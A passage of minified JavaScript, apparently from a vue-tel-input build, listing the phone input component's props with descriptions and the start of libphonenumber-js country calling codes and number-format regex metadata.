n=e.createTextRange();n.collapse(!0),n.moveEnd(\"character\",t),n.moveStart(\"character\",t),n.select()}}const d=[{name:\"allCountries\",type:Array,default:l,description:\"All countries that are used in \u003Ccode>libphonenumber-js\u003C\u002Fcode>, can be overridden by this prop\",inDemo:!1},{name:\"autoFormat\",type:Boolean,default:!0,description:\"Auto update the input to the formatted phone number when it's valid\",inDemo:!0},{name:\"customValidate\",type:[Boolean,RegExp],default:!1,description:\"Custom validation RegExp for input\",inDemo:!1},{name:\"defaultCountry\",default:\"\",type:[String,Number],description:\"Default country (by iso2 or dialCode), will override the country fetched from IP address of user\",inDemo:!1},{name:\"disabled\",default:!1,type:Boolean,description:\"Disable \u003Ccode>vue-tel-input\u003C\u002Fcode>, including the input & flag dropdown\",inDemo:!1},{name:\"autoDefaultCountry\",default:!0,type:Boolean,description:\"To fetch default country based on IP address of user\",inDemo:!1},{name:\"dropdownOptions\",type:Object,description:\"Options for dropdown, see below\",inDemo:!1},{name:\"dropdownOptions.disabled\",default:!1,type:Boolean,description:\"Disable dropdown\",inDemo:!1},{name:\"dropdownOptions.showDialCodeInList\",default:!0,type:Boolean,description:\"Show dial code in the dropdown list\",inDemo:!0},{name:\"dropdownOptions.showDialCodeInSelection\",default:!1,type:Boolean,description:\"Show dial code in the dropdown selection\",inDemo:!0},{name:\"dropdownOptions.showFlags\",default:!0,type:Boolean,description:\"Show flags in the dropdown selection and list\",inDemo:!0},{name:\"dropdownOptions.showSearchBox\",default:!1,type:Boolean,description:\"Show country search box\",inDemo:!0},{name:\"dropdownOptions.tabindex\",default:0,type:Number,description:\"Native dropdown \u003Ccode>tabindex\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"ignoredCountries\",default:[],type:Array,description:\"List of countries will NOT be shown on the dropdown\",inDemo:!1},{name:\"inputOptions\",type:Object,description:\"Options for input, see below\",inDemo:!1},{name:\"inputOptions.autocomplete\",type:String,default:\"on\",description:\"Native input \u003Ccode>autocomplete\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"inputOptions.autofocus\",type:Boolean,default:!1,description:\"Native input \u003Ccode>autofocus\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"inputOptions.aria-describedby\",default:\"\",type:String,description:\"Native input \u003Ccode>aria-describedby\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"inputOptions.id\",default:\"\",type:String,description:\"Native input \u003Ccode>id\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"inputOptions.maxlength\",default:25,type:Number,description:\"Native input \u003Ccode>maxlength\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"inputOptions.name\",default:\"telephone\",type:String,description:\"Native input \u003Ccode>name\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"inputOptions.showDialCode\",default:!1,type:Boolean,description:\"Show dial code in input\",inDemo:!1},{name:\"inputOptions.placeholder\",default:\"Enter a phone number\",type:String,description:\"Placeholder for the input\",inDemo:!1},{name:\"inputOptions.readonly\",default:!1,type:Boolean,description:\"Native input \u003Ccode>readonly\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"inputOptions.required\",default:!1,type:Boolean,description:\"Native input \u003Ccode>required\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"inputOptions.tabindex\",default:0,type:Number,description:\"Native input \u003Ccode>tabindex\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"inputOptions.type\",default:\"tel\",type:String,description:\"Native input \u003Ccode>type\u003C\u002Fcode> attribute\",inDemo:!1},{name:\"inputOptions.styleClasses\",default:\"\",type:[String,Array,Object],description:\"Custom classes for the \u003Ccode>input\u003C\u002Fcode>\",inDemo:!1},{name:\"invalidMsg\",default:\"\",type:String,description:\"\",inDemo:!1},{name:\"mode\",default:\"auto\",type:String,description:\"Allowed values: \u003Ccode>'auto'\u003C\u002Fcode> (Default set by phone),  \u003Ccode>'international'\u003C\u002Fcode> (Format number with the dial code i.e. + 61), \u003Ccode>'national'\u003C\u002Fcode> (Format number without dial code i.e. 0321232)\",inDemo:!0,options:[\"auto\",\"national\",\"international\"]},{name:\"onlyCountries\",default:[],type:Array,description:\"List of countries will be shown on the dropdown\",inDemo:!1},{name:\"preferredCountries\",default:[],type:Array,description:\"Preferred countries list, will be on top of the dropdown\",inDemo:!1},{name:\"styleClasses\",default:\"\",type:[String,Array,Object],description:\"Custom classes for the wrapper\",inDemo:!1},{name:\"validCharactersOnly\",default:!1,type:Boolean,description:\"Only allow valid characters in a phone number (will also verify in \u003Ccode>mounted\u003C\u002Fcode>, so phone number with invalid characters will be shown as an empty string)\",inDemo:!1}],c=[...d].reduce((e,t)=>{if(t.name.includes(\".\")){const[n,r]=t.name.split(\".\");e[n]?Object.assign(e[n],{[r]:t.default}):Object.assign(e,{[n]:{[r]:t.default}})}else Object.assign(e,{[t.name]:t.default});return e},{}),f={options:{...c}},p={version:4,country_calling_codes:{1:[\"US\",\"AG\",\"AI\",\"AS\",\"BB\",\"BM\",\"BS\",\"CA\",\"DM\",\"DO\",\"GD\",\"GU\",\"JM\",\"KN\",\"KY\",\"LC\",\"MP\",\"MS\",\"PR\",\"SX\",\"TC\",\"TT\",\"VC\",\"VG\",\"VI\"],7:[\"RU\",\"KZ\"],20:[\"EG\"],27:[\"ZA\"],30:[\"GR\"],31:[\"NL\"],32:[\"BE\"],33:[\"FR\"],34:[\"ES\"],36:[\"HU\"],39:[\"IT\",\"VA\"],40:[\"RO\"],41:[\"CH\"],43:[\"AT\"],44:[\"GB\",\"GG\",\"IM\",\"JE\"],45:[\"DK\"],46:[\"SE\"],47:[\"NO\",\"SJ\"],48:[\"PL\"],49:[\"DE\"],51:[\"PE\"],52:[\"MX\"],53:[\"CU\"],54:[\"AR\"],55:[\"BR\"],56:[\"CL\"],57:[\"CO\"],58:[\"VE\"],60:[\"MY\"],61:[\"AU\",\"CC\",\"CX\"],62:[\"ID\"],63:[\"PH\"],64:[\"NZ\"],65:[\"SG\"],66:[\"TH\"],81:[\"JP\"],82:[\"KR\"],84:[\"VN\"],86:[\"CN\"],90:[\"TR\"],91:[\"IN\"],92:[\"PK\"],93:[\"AF\"],94:[\"LK\"],95:[\"MM\"],98:[\"IR\"],211:[\"SS\"],212:[\"MA\",\"EH\"],213:[\"DZ\"],216:[\"TN\"],218:[\"LY\"],220:[\"GM\"],221:[\"SN\"],222:[\"MR\"],223:[\"ML\"],224:[\"GN\"],225:[\"CI\"],226:[\"BF\"],227:[\"NE\"],228:[\"TG\"],229:[\"BJ\"],230:[\"MU\"],231:[\"LR\"],232:[\"SL\"],233:[\"GH\"],234:[\"NG\"],235:[\"TD\"],236:[\"CF\"],237:[\"CM\"],238:[\"CV\"],239:[\"ST\"],240:[\"GQ\"],241:[\"GA\"],242:[\"CG\"],243:[\"CD\"],244:[\"AO\"],245:[\"GW\"],246:[\"IO\"],247:[\"AC\"],248:[\"SC\"],249:[\"SD\"],250:[\"RW\"],251:[\"ET\"],252:[\"SO\"],253:[\"DJ\"],254:[\"KE\"],255:[\"TZ\"],256:[\"UG\"],257:[\"BI\"],258:[\"MZ\"],260:[\"ZM\"],261:[\"MG\"],262:[\"RE\",\"YT\"],263:[\"ZW\"],264:[\"NA\"],265:[\"MW\"],266:[\"LS\"],267:[\"BW\"],268:[\"SZ\"],269:[\"KM\"],290:[\"SH\",\"TA\"],291:[\"ER\"],297:[\"AW\"],298:[\"FO\"],299:[\"GL\"],350:[\"GI\"],351:[\"PT\"],352:[\"LU\"],353:[\"IE\"],354:[\"IS\"],355:[\"AL\"],356:[\"MT\"],357:[\"CY\"],358:[\"FI\",\"AX\"],359:[\"BG\"],370:[\"LT\"],371:[\"LV\"],372:[\"EE\"],373:[\"MD\"],374:[\"AM\"],375:[\"BY\"],376:[\"AD\"],377:[\"MC\"],378:[\"SM\"],380:[\"UA\"],381:[\"RS\"],382:[\"ME\"],383:[\"XK\"],385:[\"HR\"],386:[\"SI\"],387:[\"BA\"],389:[\"MK\"],420:[\"CZ\"],421:[\"SK\"],423:[\"LI\"],500:[\"FK\"],501:[\"BZ\"],502:[\"GT\"],503:[\"SV\"],504:[\"HN\"],505:[\"NI\"],506:[\"CR\"],507:[\"PA\"],508:[\"PM\"],509:[\"HT\"],590:[\"GP\",\"BL\",\"MF\"],591:[\"BO\"],592:[\"GY\"],593:[\"EC\"],594:[\"GF\"],595:[\"PY\"],596:[\"MQ\"],597:[\"SR\"],598:[\"UY\"],599:[\"CW\",\"BQ\"],670:[\"TL\"],672:[\"NF\"],673:[\"BN\"],674:[\"NR\"],675:[\"PG\"],676:[\"TO\"],677:[\"SB\"],678:[\"VU\"],679:[\"FJ\"],680:[\"PW\"],681:[\"WF\"],682:[\"CK\"],683:[\"NU\"],685:[\"WS\"],686:[\"KI\"],687:[\"NC\"],688:[\"TV\"],689:[\"PF\"],690:[\"TK\"],691:[\"FM\"],692:[\"MH\"],850:[\"KP\"],852:[\"HK\"],853:[\"MO\"],855:[\"KH\"],856:[\"LA\"],880:[\"BD\"],886:[\"TW\"],960:[\"MV\"],961:[\"LB\"],962:[\"JO\"],963:[\"SY\"],964:[\"IQ\"],965:[\"KW\"],966:[\"SA\"],967:[\"YE\"],968:[\"OM\"],970:[\"PS\"],971:[\"AE\"],972:[\"IL\"],973:[\"BH\"],974:[\"QA\"],975:[\"BT\"],976:[\"MN\"],977:[\"NP\"],992:[\"TJ\"],993:[\"TM\"],994:[\"AZ\"],995:[\"GE\"],996:[\"KG\"],998:[\"UZ\"]},countries:{AC:[\"247\",\"00\",\"(?:[01589]\\\\d|[46])\\\\d{4}\",[5,6]],AD:[\"376\",\"00\",\"(?:1|6\\\\d)\\\\d{7}|[135-9]\\\\d{5}\",[6,8,9],[[\"(\\\\d{3})(\\\\d{3})\",\"$1 $2\",[\"[135-9]\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"1\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"6\"]]]],AE:[\"971\",\"00\",\"(?:[4-7]\\\\d|9[0-689])\\\\d{7}|800\\\\d{2,9}|[2-4679]\\\\d{7}\",[5,6,7,8,9,10,11,12],[[\"(\\\\d{3})(\\\\d{2,9})\",\"$1 $2\",[\"60|8\"]],[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[236]|[479][2-8]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d)(\\\\d{5})\",\"$1 $2 $3\",[\"[479]\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"5\"],\"0$1\"]],\"0\"],AF:[\"93\",\"00\",\"[2-7]\\\\d{8}\",[9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[2-7]\"],\"0$1\"]],\"0\"],AG:[\"1\",\"011\",\"(?:268|[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"([457]\\\\d{6})$|1\",\"268$1\",0,\"268\"],AI:[\"1\",\"011\",\"(?:264|[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"([2457]\\\\d{6})$|1\",\"264$1\",0,\"264\"],AL:[\"355\",\"00\",\"(?:700\\\\d\\\\d|900)\\\\d{3}|8\\\\d{5,7}|(?:[2-5]|6\\\\d)\\\\d{7}\",[6,7,8,9],[[\"(\\\\d{3})(\\\\d{3,4})\",\"$1 $2\",[\"80|9\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"4[2-6]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[2358][2-5]|4\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"[23578]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"6\"],\"0$1\"]],\"0\"],AM:[\"374\",\"00\",\"(?:[1-489]\\\\d|55|60|77)\\\\d{6}\",[8],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"[89]0\"],\"0 $1\"],[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"2|3[12]\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{6})\",\"$1 $2\",[\"1|47\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{6})\",\"$1 $2\",[\"[3-9]\"],\"0$1\"]],\"0\"],AO:[\"244\",\"00\",\"[29]\\\\d{8}\",[9],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[29]\"]]]],AR:[\"54\",\"00\",\"(?:11|[89]\\\\d\\\\d)\\\\d{8}|[2368]\\\\d{9}\",[10,11],[[\"(\\\\d{4})(\\\\d{2})(\\\\d{4})\",\"$1 $2-$3\",[\"2(?:2[024-9]|3[0-59]|47|6[245]|9[02-8])|3(?:3[28]|4[03-9]|5[2-46-8]|7[1-578]|8[2-9])\",\"2(?:[23]02|6(?:[25]|4[6-8])|9(?:[02356]|4[02568]|72|8[23]))|3(?:3[28]|4(?:[04679]|3[5-8]|5[4-68]|8[2379])|5(?:[2467]|3[237]|8[2-5])|7[1-578]|8(?:[2469]|3[2578]|5[4-8]|7[36-8]|8[5-8]))|2(?:2[24-9]|3[1-59]|47)\",\"2(?:[23]02|6(?:[25]|4(?:64|[78]))|9(?:[02356]|4(?:[0268]|5[2-6])|72|8[23]))|3(?:3[28]|4(?:[04679]|3[78]|5(?:4[46]|8)|8[2379])|5(?:[2467]|3[237]|8[23])|7[1-578]|8(?:[2469]|3[278]|5[56][46]|86[3-6]))|2(?:2[24-9]|3[1-59]|47)|38(?:[58][78]|7[378])|3(?:4[35][56]|58[45]|8(?:[38]5|54|76))[4-6]\",\"2(?:[23]02|6(?:[25]|4(?:64|[78]))|9(?:[02356]|4(?:[0268]|5[2-6])|72|8[23]))|3(?:3[28]|4(?:[04679]|3(?:5(?:4[0-25689]|[56])|[78])|58|8[2379])|5(?:[2467]|3[237]|8(?:[23]|4(?:[45]|60)|5(?:4[0-39]|5|64)))|7[1-578]|8(?:[2469]|3[278]|54(?:4|5[13-7]|6[89])|86[3-6]))|2(?:2[24-9]|3[1-59]|47)|38(?:[58][78]|7[378])|3(?:454|85[56])[46]|3(?:4(?:36|5[56])|8(?:[38]5|76))[4-6]\"],\"0$1\",1],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2-$3\",[\"1\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1-$2-$3\",[\"[68]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2-$3\",[\"[23]\"],\"0$1\",1],[\"(\\\\d)(\\\\d{4})(\\\\d{2})(\\\\d{4})\",\"$2 15-$3-$4\",[\"9(?:2[2-469]|3[3-578])\",\"9(?:2(?:2[024-9]|3[0-59]|47|6[245]|9[02-8])|3(?:3[28]|4[03-9]|5[2-46-8]|7[1-578]|8[2-9]))\",\"9(?:2(?:[23]02|6(?:[25]|4[6-8])|9(?:[02356]|4[02568]|72|8[23]))|3(?:3[28]|4(?:[04679]|3[5-8]|5[4-68]|8[2379])|5(?:[2467]|3[237]|8[2-5])|7[1-578]|8(?:[2469]|3[2578]|5[4-8]|7[36-8]|8[5-8])))|92(?:2[24-9]|3[1-59]|47)\",\"9(?:2(?:[23]02|6(?:[25]|4(?:64|[78]))|9(?:[02356]|4(?:[0268]|5[2-6])|72|8[23]))|3(?:3[28]|4(?:[04679]|3[78]|5(?:4[46]|8)|8[2379])|5(?:[2467]|3[237]|8[23])|7[1-578]|8(?:[2469]|3[278]|5(?:[56][46]|[78])|7[378]|8(?:6[3-6]|[78]))))|92(?:2[24-9]|3[1-59]|47)|93(?:4[35][56]|58[45]|8(?:[38]5|54|76))[4-6]\",\"9(?:2(?:[23]02|6(?:[25]|4(?:64|[78]))|9(?:[02356]|4(?:[0268]|5[2-6])|72|8[23]))|3(?:3[28]|4(?:[04679]|3(?:5(?:4[0-25689]|[56])|[78])|5(?:4[46]|8)|8[2379])|5(?:[2467]|3[237]|8(?:[23]|4(?:[45]|60)|5(?:4[0-39]|5|64)))|7[1-578]|8(?:[2469]|3[278]|5(?:4(?:4|5[13-7]|6[89])|[56][46]|[78])|7[378]|8(?:6[3-6]|[78]))))|92(?:2[24-9]|3[1-59]|47)|93(?:4(?:36|5[56])|8(?:[38]5|76))[4-6]\"],\"0$1\",0,\"$1 $2 $3-$4\"],[\"(\\\\d)(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$2 15-$3-$4\",[\"91\"],\"0$1\",0,\"$1 $2 $3-$4\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{5})\",\"$1-$2-$3\",[\"8\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$2 15-$3-$4\",[\"9\"],\"0$1\",0,\"$1 $2 $3-$4\"]],\"0\",0,\"0?(?:(11|2(?:2(?:02?|[13]|2[13-79]|4[1-6]|5[2457]|6[124-8]|7[1-4]|8[13-6]|9[1267])|3(?:02?|1[467]|2[03-6]|3[13-8]|[49][2-6]|5[2-8]|[67])|4(?:7[3-578]|9)|6(?:[0136]|2[24-6]|4[6-8]?|5[15-8])|80|9(?:0[1-3]|[19]|2\\\\d|3[1-6]|4[02568]?|5[2-4]|6[2-46]|72?|8[23]?))|3(?:3(?:2[79]|6|8[2578])|4(?:0[0-24-9]|[12]|3[5-8]?|4[24-7]|5[4-68]?|6[02-9]|7[126]|8[2379]?|9[1-36-8])|5(?:1|2[1245]|3[237]?|4[1-46-9]|6[2-4]|7[1-6]|8[2-5]?)|6[24]|7(?:[069]|1[1568]|2[15]|3[145]|4[13]|5[14-8]|7[2-57]|8[126])|8(?:[01]|2[15-7]|3[2578]?|4[13-6]|5[4-8]?|6[1-357-9]|7[36-8]?|8[5-8]?|9[124])))15)?\",\"9$1\"],AS:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|684|900)\\\\d{7}\",[10],0,\"1\",0,\"([267]\\\\d{6})$|1\",\"684$1\",0,\"684\"],AT:[\"43\",\"00\",\"1\\\\d{3,12}|2\\\\d{6,12}|43(?:(?:0\\\\d|5[02-9])\\\\d{3,9}|2\\\\d{4,5}|[3467]\\\\d{4}|8\\\\d{4,6}|9\\\\d{4,7})|5\\\\d{4,12}|8\\\\d{7,12}|9\\\\d{8,12}|(?:[367]\\\\d|4[0-24-9])\\\\d{4,11}\",[4,5,6,7,8,9,10,11,12,13],[[\"(\\\\d)(\\\\d{3,12})\",\"$1 $2\",[\"1(?:11|[2-9])\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})\",\"$1 $2\",[\"517\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3,5})\",\"$1 $2\",[\"5[079]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3,10})\",\"$1 $2\",[\"(?:31|4)6|51|6(?:5[0-3579]|[6-9])|7(?:20|32|8)|[89]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3,9})\",\"$1 $2\",[\"[2-467]|5[2-6]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"5\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4,7})\",\"$1 $2 $3\",[\"5\"],\"0$1\"]],\"0\"],AU:[\"61\",\"001[14-689]|14(?:1[14]|34|4[17]|[56]6|7[47]|88)0011\",\"1(?:[0-79]\\\\d{7}(?:\\\\d(?:\\\\d{2})?)?|8[0-24-9]\\\\d{7})|[2-478]\\\\d{8}|1\\\\d{4,7}\",[5,6,7,8,9,10,12],[[\"(\\\\d{2})(\\\\d{3,4})\",\"$1 $2\",[\"16\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2,4})\",\"$1 $2 $3\",[\"16\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"14|4\"],\"0$1\"],[\"(\\\\d)(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"[2378]\"],\"(0$1)\"],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"1(?:30|[89])\"]]],\"0\",0,\"(183[12])|0\",0,0,0,[[\"(?:(?:2(?:[0-26-9]\\\\d|3[0-8]|4[02-9]|5[0135-9])|3(?:[0-3589]\\\\d|4[0-578]|6[1-9]|7[0-35-9])|7(?:[013-57-9]\\\\d|2[0-8]))\\\\d{3}|8(?:51(?:0(?:0[03-9]|[12479]\\\\d|3[2-9]|5[0-8]|6[1-9]|8[0-7])|1(?:[0235689]\\\\d|1[0-69]|4[0-589]|7[0-47-9])|2(?:0[0-79]|[18][13579]|2[14-9]|3[0-46-9]|[4-6]\\\\d|7[89]|9[0-4]))|(?:6[0-8]|[78]\\\\d)\\\\d{3}|9(?:[02-9]\\\\d{3}|1(?:(?:[0-58]\\\\d|6[0135-9])\\\\d|7(?:0[0-24-9]|[1-9]\\\\d)|9(?:[0-46-9]\\\\d|5[0-79])))))\\\\d{3}\",[9]],[\"4(?:(?:79|94)[01]|83[0-389])\\\\d{5}|4(?:[0-3]\\\\d|4[047-9]|5[0-25-9]|6[0-26-9]|7[02-8]|8[0-24-9]|9[0-37-9])\\\\d{6}\",[9]],[\"180(?:0\\\\d{3}|2)\\\\d{3}\",[7,10]],[\"190[0-26]\\\\d{6}\",[10]],0,0,0,[\"163\\\\d{2,6}\",[5,6,7,8,9]],[\"14(?:5(?:1[0458]|[23][458])|71\\\\d)\\\\d{4}\",[9]],[\"13(?:00\\\\d{6}(?:\\\\d{2})?|45[0-4]\\\\d{3})|13\\\\d{4}\",[6,8,10,12]]],\"0011\"],AW:[\"297\",\"00\",\"(?:[25-79]\\\\d\\\\d|800)\\\\d{4}\",[7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[25-9]\"]]]],AX:[\"358\",\"00|99(?:[01469]|5(?:[14]1|3[23]|5[59]|77|88|9[09]))\",\"2\\\\d{4,9}|35\\\\d{4,5}|(?:60\\\\d\\\\d|800)\\\\d{4,6}|7\\\\d{5,11}|(?:[14]\\\\d|3[0-46-9]|50)\\\\d{4,8}\",[5,6,7,8,9,10,11,12],0,\"0\",0,0,0,0,\"18\",0,\"00\"],AZ:[\"994\",\"00\",\"365\\\\d{6}|(?:[124579]\\\\d|60|88)\\\\d{7}\",[9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"90\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"1[28]|2|365|46\",\"1[28]|2|365[45]|46\",\"1[28]|2|365(?:4|5[02])|46\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[13-9]\"],\"0$1\"]],\"0\"],BA:[\"387\",\"00\",\"6\\\\d{8}|(?:[35689]\\\\d|49|70)\\\\d{6}\",[8,9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"6[1-3]|[7-9]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2-$3\",[\"[3-5]|6[56]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"6\"],\"0$1\"]],\"0\"],BB:[\"1\",\"011\",\"(?:246|[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-9]\\\\d{6})$|1\",\"246$1\",0,\"246\"],BD:[\"880\",\"00\",\"[1-469]\\\\d{9}|8[0-79]\\\\d{7,8}|[2-79]\\\\d{8}|[2-9]\\\\d{7}|[3-9]\\\\d{6}|[57-9]\\\\d{5}\",[6,7,8,9,10],[[\"(\\\\d{2})(\\\\d{4,6})\",\"$1-$2\",[\"31[5-8]|[459]1\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3,7})\",\"$1-$2\",[\"3(?:[67]|8[013-9])|4(?:6[168]|7|[89][18])|5(?:6[128]|9)|6(?:[15]|28|4[14])|7[2-589]|8(?:0[014-9]|[12])|9[358]|(?:3[2-5]|4[235]|5[2-578]|6[0389]|76|8[3-7]|9[24])1|(?:44|66)[01346-9]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3,6})\",\"$1-$2\",[\"[13-9]|22\"],\"0$1\"],[\"(\\\\d)(\\\\d{7,8})\",\"$1-$2\",[\"2\"],\"0$1\"]],\"0\"],BE:[\"32\",\"00\",\"4\\\\d{8}|[1-9]\\\\d{7}\",[8,9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"(?:80|9)0\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[239]|4[23]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[15-8]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"4\"],\"0$1\"]],\"0\"],BF:[\"226\",\"00\",\"[025-7]\\\\d{7}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[025-7]\"]]]],BG:[\"359\",\"00\",\"00800\\\\d{7}|[2-7]\\\\d{6,7}|[89]\\\\d{6,8}|2\\\\d{5}\",[6,7,8,9,12],[[\"(\\\\d)(\\\\d)(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"2\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"43[1-6]|70[1-9]\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"2\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2,3})\",\"$1 $2 $3\",[\"[356]|4[124-7]|7[1-9]|8[1-6]|9[1-7]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"(?:70|8)0\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{2})\",\"$1 $2 $3\",[\"43[1-7]|7\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[48]|9[08]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"9\"],\"0$1\"]],\"0\"],BH:[\"973\",\"00\",\"[136-9]\\\\d{7}\",[8],[[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[13679]|8[02-4679]\"]]]],BI:[\"257\",\"00\",\"(?:[267]\\\\d|31)\\\\d{6}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[2367]\"]]]],BJ:[\"229\",\"00\",\"[24-689]\\\\d{7}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[24-689]\"]]]],BL:[\"590\",\"00\",\"590\\\\d{6}|(?:69|80|9\\\\d)\\\\d{7}\",[9],0,\"0\",0,0,0,0,0,[[\"590(?:2[7-9]|3[3-7]|5[12]|87)\\\\d{4}\"],[\"69(?:0\\\\d\\\\d|1(?:2[2-9]|3[0-5]))\\\\d{4}\"],[\"80[0-5]\\\\d{6}\"],0,0,0,0,0,[\"9(?:(?:395|76[018])\\\\d|475[0-5])\\\\d{4}\"]]],BM:[\"1\",\"011\",\"(?:441|[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-9]\\\\d{6})$|1\",\"441$1\",0,\"441\"],BN:[\"673\",\"00\",\"[2-578]\\\\d{6}\",[7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[2-578]\"]]]],BO:[\"591\",\"00(?:1\\\\d)?\",\"(?:[2-467]\\\\d\\\\d|8001)\\\\d{5}\",[8,9],[[\"(\\\\d)(\\\\d{7})\",\"$1 $2\",[\"[23]|4[46]\"]],[\"(\\\\d{8})\",\"$1\",[\"[67]\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{4})\",\"$1 $2 $3\",[\"8\"]]],\"0\",0,\"0(1\\\\d)?\"],BQ:[\"599\",\"00\",\"(?:[34]1|7\\\\d)\\\\d{5}\",[7],0,0,0,0,0,0,\"[347]\"],BR:[\"55\",\"00(?:1[245]|2[1-35]|31|4[13]|[56]5|99)\",\"(?:[1-46-9]\\\\d\\\\d|5(?:[0-46-9]\\\\d|5[0-46-9]))\\\\d{8}|[1-9]\\\\d{9}|[3589]\\\\d{8}|[34]\\\\d{7}\",[8,9,10,11],[[\"(\\\\d{4})(\\\\d{4})\",\"$1-$2\",[\"300|4(?:0[02]|37)\",\"4(?:02|37)0|[34]00\"]],[\"(\\\\d{3})(\\\\d{2,3})(\\\\d{4})\",\"$1 $2 $3\",[\"(?:[358]|90)0\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2-$3\",[\"(?:[14689][1-9]|2[12478]|3[1-578]|5[13-5]|7[13-579])[2-57]\"],\"($1)\"],[\"(\\\\d{2})(\\\\d{5})(\\\\d{4})\",\"$1 